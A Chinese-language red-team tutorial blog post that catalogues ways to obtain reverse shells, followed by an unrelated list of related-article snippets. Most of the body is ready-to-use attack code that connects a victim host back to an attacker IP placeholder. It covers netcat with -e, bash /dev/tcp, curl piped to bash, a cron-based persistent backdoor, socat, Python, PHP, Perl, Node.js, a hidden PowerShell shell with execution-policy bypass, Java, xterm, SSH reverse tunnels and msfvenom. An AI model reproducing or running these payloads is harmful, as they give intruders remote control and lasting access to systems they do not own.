红队老子养成记3 - 学会反弹shell的多种姿势,拿shell拿手软!!(全网最多姿势!)

大家好,我是Dest1ny!

今天还是讲redteam里比较重要的反弹shell!

不会反弹shell,那你如何拿控制权限!

今天满满干货,大家加油学!


CLASS-1 正向连接与反向连接详解

1. 正向连接

正向连接是最常见的连接方式。当我们攻击了一台机器后,打开了该机器的一个端口,攻击者在自己的机器上主动连接目标机器的IP和端口。这类连接方式常见于远程桌面、Web服务、SSH、Telnet等。

理解:正向连接适用于目标机器能够被攻击者直接访问和请求的场景。前提是目标机器的端口是开放且可访问的。

人话:攻击者 ->被攻击方

2. 反向连接

为什么需要反弹Shell?

反向连接通常在以下几种情况下使用:

  • 目标机器受到防火墙限制,只能发送请求,不能接收请求。
  • 目标机的相关端口被占用。
  • 目标机位于局域网中,或者其IP会动态变化,攻击者无法直接连接。
  • 对于病毒和木马,受害者的上网环境、开关机时间都是未知的。

在这些情况下,正向连接行不通,因此我们使用反向连接。

理解:反向连接即攻击者设定一个服务端,受害者的主机主动发起连接。此方式有效绕过防火墙、端口限制以及内网环境等限制。

反向连接方式详解

反向连接的方式有很多,需要根据目标主机的实际环境选择合适的方法。下面列举几种常见的方法:

3. 利用Netcat反弹Shell

这里全部前提就是自己有一台公网服务器,想要用临时服务器的,去看我这篇文章!

云服务器如何不租月使用,全网最详细(小白必看教程!千字讲解!!)_云服务器如何租-CSDN博客

Netcat是一款简单且强大的网络工具,支持TCP和UDP协议。它可以用来建立各种网络连接,也常用于反弹Shell。以下是安装并使用带有-e参数的Netcat来反弹Shell的步骤:

# 安装Netcat
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean# 攻击机开启监听
nc -lvvp 2333# 目标机发起连接
nc <攻击机IP> 2333 -e /bin/bash

理解:Netcat的-e参数在默认安装版本中被移除,因此我们需要手动安装旧版本来实现Shell反弹功能。

4. 利用Bash反弹Shell

使用Bash可以通过重定向的方法实现反弹Shell,具体命令如下:

bash -i >& /dev/tcp/<攻击机IP>/2333 0>&1

理解:该命令创建了一个Bash交互环境,并将输入输出重定向到攻击者的端口上。此方法需要目标机支持Bash环境。

5. 利用Curl和Bash反弹Shell

借助Curl和Bash的组合,也可以实现Shell反弹:

# 攻击者在VPS上准备好payload并监听端口
curl <攻击机IP> | bash

理解:这种方式灵活性高,可用于CTF场景,特别是当目标主机能执行Curl命令时,非常方便快捷。

6. 将反弹Shell写入定时任务或配置文件

可以通过修改定时任务文件(如/var/spool/cron)或者系统的配置文件(如/etc/profile)来持久化反弹Shell的脚本。

# 在定时任务中写入
*/1 * * * * /bin/bash -i>&/dev/tcp/<攻击机IP>/2333 0>&1

理解:这种方式适合在目标主机上植入持久性后门,通过定时任务或配置文件在特定时间段发起连接。

7. 使用Socat反弹Shell

Socat是一款功能强大的网络工具,类似于Netcat,但功能更丰富。以下是其反弹Shell的用法:

# 攻击机监听
socat TCP-LISTEN:2333 -# 目标机连接
socat tcp-connect:<攻击机IP>:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

理解:Socat的灵活性更强,支持的参数和场景也更丰富,适合需要多样化反弹方法的场景。

8. 使用其他脚本语言反弹Shell

  • Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • PHP:
php -r '$sock=fsockopen("<攻击机IP>",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

理解:不同的脚本语言都有相应的反弹Shell方法,这些方法需要目标机器支持相应的运行环境。

9. 使用Metasploit生成反弹Shell

Metasploit框架中的msfvenom工具可以自动生成反弹Shell的脚本:

msfvenom -p cmd/unix/reverse_python LHOST=<攻击机IP> LPORT=2333 -f raw

理解:Metasploit提供了多种反弹Shell的Payload生成方式,非常适合在渗透测试过程中快速使用。

10. 利用Perl反弹Shell

Perl可以通过创建一个Socket来实现反弹Shell的功能,以下是具体命令:

perl -e 'use Socket;$i="<攻击机IP>";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

理解:Perl是一种常见的脚本语言,尤其是在老旧的Linux系统中比较常见。利用Perl可以实现Socket连接,并通过Shell与攻击者进行交互。

11. 利用PHP反弹Shell(GET方式)

如果目标机上有一个支持PHP的Web服务器,可以上传并执行一个简单的PHP脚本:

<?php
$sock=fsockopen("<攻击机IP>",2333);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

理解:这是利用PHP脚本来反弹Shell的基本方式,通常适用于Web环境渗透。它依赖于目标服务器上PHP的执行权限。

12. 利用Node.js反弹Shell

如果目标机支持Node.js环境,可以使用以下代码来反弹Shell:

(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/sh", []);var client = new net.Socket();client.connect(2333, "<攻击机IP>", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;
})();

理解:Node.js环境反弹Shell的方法适用于具备Node.js的服务器或环境,通常在Web服务器或一些应用平台中有效。

13. 利用PowerShell反弹Shell(Windows)

在Windows环境下,可以通过PowerShell来实现反弹Shell:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<攻击机IP>",2333);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}

理解:PowerShell是Windows自带的强大脚本工具,它可以直接在Windows环境下创建反向TCP连接,这种方式非常隐蔽且灵活。

14. 利用Java反弹Shell

Java应用程序也可以利用Java的网络库来反弹Shell:

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;public class ReverseShell {public static void main(String[] args) {String host = "<攻击机IP>";int port = 2333;String cmd = "/bin/sh";try {Socket s = new Socket(host, port);Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();OutputStream po = p.getOutputStream(), so = s.getOutputStream();while (!s.isClosed()) {while (pi.available() > 0) so.write(pi.read());while (pe.available() > 0) so.write(pe.read());while (si.available() > 0) po.write(si.read());so.flush();po.flush();Thread.sleep(50);try { p.exitValue(); break; } catch (Exception e) {}}p.destroy();s.close();} catch (Exception e) {}}
}

理解:Java反弹Shell适合于目标机支持Java环境的场景。代码通过Socket和ProcessBuilder实现了一个反向连接并执行Shell命令的功能。

15. 使用XTerm反弹Shell(图形界面)

XTerm是Unix系统中的终端仿真器。可以通过它来反弹一个Shell到攻击者的X服务器上:

xterm -display <攻击机IP>:1

理解:这种方法需要目标机安装并配置了X11,且攻击者的X服务器处于监听状态。通常适合内网或具有一定权限的场景。

16. 使用SSH反向隧道

SSH反向隧道也是一种常见的反弹Shell方法。前提是目标机器上允许使用SSH并且有SSH权限:

ssh -R 2333:localhost:22 user@<攻击机IP>

理解:SSH反向隧道可以在攻击者机器上打开一个端口,使得目标机的本地端口暴露出来,非常适合于需要长期控制或存在防火墙限制的环境。

17. 使用Python模块反弹Shell(无依赖版)

利用Python的socket模块创建一个轻量级的反弹Shell:

import socket, subprocess, oss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<攻击机IP>", 2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh", "-i"])

理解:这是Python最基础的反弹Shell方法,不依赖于其他库或模块,适合目标机器上没有高级Python模块但具备基础环境的情况。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/57251.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

单神经元建模:基于电导的模型[神经元结构、静息电位和等效电路]

文章目录 神经元结构、静息电位和等效电路神经元结构静息电位能斯特方程1. **描述浓度比的非线性关系**&#xff1a;2. **化学势与电势的关系**&#xff1a;3. **对称性**&#xff1a;4. **热力学与平衡**&#xff1a;总结&#xff1a; GHK方程Nernst方程和GHK方程的对比 等效电…

ChatGLM-6B大模型 + Bert预训练模型 + RAG实现知识库信息抽取(含完整代码)

‌ 目录 RAG技术 知识库准备 检索相关文本 生成问答 完整代码 本文将基于ChatGLM-6B大模型、Bert预训练模型和RAG完整金融知识库信息抽取任务。 RAG技术 RAG技术,即检索增强生成(Retrieval-Augmented Generation),是一种结合了检索和生成技术的模型。‌ 它通…

《仓库猎手模拟》风灵月影游戏辅助使用教程

《仓库猎手模拟》是一款休闲独立的模拟经营佳作&#xff0c;让玩家沉浸于经济管理的乐趣中&#xff0c;亲手利用工具探索仓库的每个角落&#xff0c;发掘并鉴定珍稀物品。借助修改器&#xff0c;玩家能更轻松地享受游戏过程&#xff0c;体验寻宝与经营的双重乐趣。 修改器安装&…

【C语言】文件操作(2)(文件缓冲区和随机读取函数)

文章目录 一、文件的随机读取函数1.fseek函数2.ftell函数3.rewind函数 二、文件读取结束的判断1.被错误使用的feof2.判断文件读取结束的方法3.判断文件结束的原因feofferror判断文件读取结束原因示例 三、文件缓冲区 一、文件的随机读取函数 在上一篇的文章中&#xff0c;我们讲…

Android10 recent键相关总结

目录 初始化流程 点击Recent键流程 RecentsActivity 显示流程 RecentsModel 获取数据管理类 RecentsActivity 布局 已处于Recent界面时 点击recent 空白区域 点击返回键 recent组件配置 Android10 Recent 功能由 System UI&#xff0c;Launcher共同实现。 初始化流程 …

如何克隆Git仓库的子目录:稀疏检出

一、环境 Git 2.34.1 二、前言 一般来说&#xff0c;我们在克隆git仓库的时候&#xff0c;都是一整个仓库都克隆出来的。如果假设现在有一个很大的仓库&#xff0c;仓库里有多个子项目&#xff0c;而我们只想克隆其中一个子项目的时候&#xff0c;应该怎么做呢&#xff1f; …

洛谷刷题 P1008 [NOIP1998 普及组] 三连击

题目链接&#xff1a;P1008 [NOIP1998 普及组] 三连击 思路 此题主要采取枚举的思想&#xff0c;但是直接暴力枚举会导致时间不够&#xff0c;因此我们先进行分析 因为要求三个三位数构成的比例是1&#xff1a;2&#xff1a;3&#xff0c;因此最小的那个数的百位只能在1、2、…

【Java后端】之 ThreadLocal 详解

想象一下&#xff0c;你有一个工具箱&#xff0c;里面放着各种工具。在多人共用这个工具箱的时候&#xff0c;很容易出现混乱&#xff0c;比如有人拿走了你的锤子&#xff0c;或者你找不到合适的螺丝刀。为了避免这种情况&#xff0c;最好的办法就是每个人都有自己独立的工具箱…

初识适配器模式

适配器模式 引入 生活中的例子&#xff1a;当我们使用手机充电时&#xff0c;充电器起到了转换器的作用&#xff0c;它将家用的220伏特电压转换成适合手机充电的5伏特电压。 适配器模式的三种类型 命名原则&#xff1a;适配器的命名应基于资源如何传递给适配器来进行。 类适配…

实验室信息化转型要注意哪些

在当今科技飞速发展的时代&#xff0c;实验室信息化转型已成为提升实验室效能和竞争力的关键举措。然而&#xff0c;这一转型过程并非一帆风顺&#xff0c;需要谨慎对待并注意以下几个重要方面。 一、明确需求与目标 在开启信息化转型之前&#xff0c;你必须深入了解实验室的…

第14篇:下一代网络与新兴技术

目录 引言 14.1 下一代网络&#xff08;NGN&#xff09;的定义与特点 14.2 IPv6协议的改进与未来应用 14.3 软件定义网络&#xff08;SDN&#xff09; 14.4 网络功能虚拟化&#xff08;NFV&#xff09; 14.5 量子通信网络 14.6 软件定义广域网&#xff08;SD-WAN&#x…

xlsx xlsx-style-vite 实现前端根据element 表格导出excel且定制化样式 背景 列宽等

前言 先看下最终效果图吧&#xff0c;需要的可以参考我的实现方式 这是最终导出的表格文件 类似这种的&#xff0c;特定单元格需要额外标注&#xff0c;表头也有月份然后细分的&#xff0c;表格组件是这样的 注意 别使用xlsx-style 这个库&#xff0c;太多问题了&#xff0c;…

【C语言刷力扣】1768.交替合并字符串

题目&#xff1a; 解题思路&#xff1a; 将 word1 和 word2 元素依次添加至 ans 的后面。 时间复杂度&#xff1a; &#xff0c; n是word1的长度 m是word2的长度 空间复杂度&#xff1a; char* mergeAlternately(char* word1, char* word2) {int len1 strlen(word1);in…

供电电压和逻辑电压

供电电压和逻辑电压是电子电路中两个重要的电压概念&#xff0c;它们有不同的定义和应用。以下是它们之间的主要区别&#xff1a; 1. 定义 供电电压&#xff08;Power Supply Voltage&#xff09;&#xff1a; 供电电压是用于给电路或设备提供电能的电压值。它是电源输出的电压…

【Linux】top命令查看CPU、内存使用率、解释

1. top 命令 top 是最常用的实时监控工具之一&#xff0c;可以显示 CPU 的总利用率以及各个进程的 CPU 使用情况。在Linux命令行直接输入top即可查看动态原始数据 top 在 top 命令的输出中&#xff0c;最上面的一行会显示 CPU 的使用情况&#xff1a; us&#xff08;User&a…

写了十几年程序,今天才第一天知道什么是屎山代码

可以说&#xff0c;我确实没在工作中用过Javascript&#xff0c;因为我从未见过如此“厚颜无耻”的代码 我曾经也是学过2~3年&#xff0c;还是JQuery的年代&#xff0c;但应该确实没在实战中用过&#xff0c;否则我怎么会不记得写过这些屎山代码的&#xff1f;&#xff1f;&…

图片怎么转文字?11种好用的方法!

如何快速将图片的文字提取出来&#xff0c;可以大量节省手打的时间&#xff0c;无论是截图&#xff0c;或者批量提取照片文字&#xff0c;都经常需要这个操作&#xff01; 作为一名社畜&#xff0c;俺也经常用到各种图片转文字工具&#xff0c;今天通过测评12个主流的图片转文…

React Native 项目中使用 Expo Application Services (EAS) 进行多渠道打包

在 React Native 项目中使用 Expo Application Services (EAS) 进行多渠道打包&#xff0c;你可以利用 EAS Build 来构建你的应用。以下是一些关键步骤和配置&#xff1a; 安装 EAS CLI&#xff1a; 首先&#xff0c;你需要安装 EAS CLI 工具&#xff0c;以便在本地使用 EAS 的…

Linux例行性命令

1.单一执行的例行性工作at 单一执行的例行性工作&#xff1a;仅处理执行一次就结束了 at命令详解 ——命令格式&#xff1a; at [参数] [时间] -m 当任务完成之后&#xff0c;即使没有标准输出&#xff0c;将给用户发送邮件 -l atq的别名&#xff0c;可列出目前系…

面对AI算力需求激增,如何守护数据中心机房安全?

随着人工智能&#xff08;AI&#xff09;技术飞速发展&#xff0c;AI算力需求呈现爆发式增长&#xff0c;导致对数据设备电力的需求指数级攀升。这给数据中心带来前所未有的挑战和机遇&#xff0c;从提供稳定的电力供应、优化高密度的部署&#xff0c;到数据安全的隐私保护&…